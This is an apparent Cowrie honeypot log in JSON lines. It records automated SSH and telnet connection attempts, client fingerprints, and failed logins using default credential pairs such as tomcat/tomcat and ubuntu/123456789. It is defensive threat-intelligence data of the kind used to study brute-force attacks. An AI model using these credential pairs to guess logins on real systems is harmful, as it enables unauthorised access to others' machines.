{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47024,"dst_ip":"10.17.0.5","dst_port":22,"session":"62af6c76c373","protocol":"ssh","message":"New connection: 83.168.110.85:47024 (10.17.0.5:22) [session: 62af6c76c373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:37.833526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:37.838364Z","src_ip":"83.168.110.85","session":"62af6c76c373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:37.959242Z","src_ip":"83.168.110.85","session":"62af6c76c373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:38.396731Z","src_ip":"83.168.110.85","session":"62af6c76c373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:39.523386Z","src_ip":"83.168.110.85","session":"62af6c76c373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43378,"dst_ip":"10.17.0.5","dst_port":23,"session":"f19c49cf5dce","protocol":"telnet","message":"New connection: 152.42.224.71:43378 (10.17.0.5:23) [session: f19c49cf5dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:43.323960Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43724,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccafa0c9c2a5","protocol":"ssh","message":"New connection: 83.168.110.85:43724 (10.17.0.5:22) [session: ccafa0c9c2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:44.958721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:44.963671Z","src_ip":"83.168.110.85","session":"ccafa0c9c2a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:45.086351Z","src_ip":"83.168.110.85","session":"ccafa0c9c2a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:45.450429Z","src_ip":"83.168.110.85","session":"ccafa0c9c2a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:46.812439Z","src_ip":"83.168.110.85","session":"ccafa0c9c2a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43736,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2cb007ec328","protocol":"ssh","message":"New connection: 83.168.110.85:43736 (10.17.0.5:22) [session: a2cb007ec328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:51.761605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:51.765873Z","src_ip":"83.168.110.85","session":"a2cb007ec328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:51.886521Z","src_ip":"83.168.110.85","session":"a2cb007ec328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:52.254185Z","src_ip":"83.168.110.85","session":"a2cb007ec328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:53.416611Z","src_ip":"83.168.110.85","session":"a2cb007ec328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.328655481338501,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:53.652514Z","src_ip":"152.42.224.71","session":"f19c49cf5dce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39204,"dst_ip":"10.17.0.5","dst_port":22,"session":"aae404d9a42f","protocol":"ssh","message":"New connection: 83.168.110.85:39204 (10.17.0.5:22) [session: aae404d9a42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:58.744719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:58.750700Z","src_ip":"83.168.110.85","session":"aae404d9a42f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:58.871660Z","src_ip":"83.168.110.85","session":"aae404d9a42f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:59.238911Z","src_ip":"83.168.110.85","session":"aae404d9a42f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:00.362666Z","src_ip":"83.168.110.85","session":"aae404d9a42f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54194,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ce755c6ed2e","protocol":"ssh","message":"New connection: 83.168.110.85:54194 (10.17.0.5:22) [session: 8ce755c6ed2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:05.941299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:05.946569Z","src_ip":"83.168.110.85","session":"8ce755c6ed2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:06.071147Z","src_ip":"83.168.110.85","session":"8ce755c6ed2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:06.437515Z","src_ip":"83.168.110.85","session":"8ce755c6ed2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:07.770544Z","src_ip":"83.168.110.85","session":"8ce755c6ed2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54202,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa73181f2dba","protocol":"ssh","message":"New connection: 83.168.110.85:54202 (10.17.0.5:22) [session: fa73181f2dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:13.039648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:13.045159Z","src_ip":"83.168.110.85","session":"fa73181f2dba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:13.166042Z","src_ip":"83.168.110.85","session":"fa73181f2dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:13.537528Z","src_ip":"83.168.110.85","session":"fa73181f2dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:14.730888Z","src_ip":"83.168.110.85","session":"fa73181f2dba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49638,"dst_ip":"10.17.0.5","dst_port":22,"session":"618d5068e94f","protocol":"ssh","message":"New connection: 83.168.110.85:49638 (10.17.0.5:22) [session: 618d5068e94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:20.070503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:20.075487Z","src_ip":"83.168.110.85","session":"618d5068e94f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:20.304406Z","src_ip":"83.168.110.85","session":"618d5068e94f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:20.818687Z","src_ip":"83.168.110.85","session":"618d5068e94f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0012435913086,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:21.067492Z","src_ip":"152.42.224.71","session":"53037d420556","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:21.942476Z","src_ip":"83.168.110.85","session":"618d5068e94f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53578,"dst_ip":"10.17.0.5","dst_port":22,"session":"1591b5ece5cf","protocol":"ssh","message":"New connection: 83.168.110.85:53578 (10.17.0.5:22) [session: 1591b5ece5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:27.403095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:27.407833Z","src_ip":"83.168.110.85","session":"1591b5ece5cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:27.528374Z","src_ip":"83.168.110.85","session":"1591b5ece5cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:27.893759Z","src_ip":"83.168.110.85","session":"1591b5ece5cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:29.280655Z","src_ip":"83.168.110.85","session":"1591b5ece5cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57780,"dst_ip":"10.17.0.5","dst_port":22,"session":"79bd6bfddbe4","protocol":"ssh","message":"New connection: 83.168.110.85:57780 (10.17.0.5:22) [session: 79bd6bfddbe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:34.233849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:34.243208Z","src_ip":"83.168.110.85","session":"79bd6bfddbe4","protocol":"ssh"}
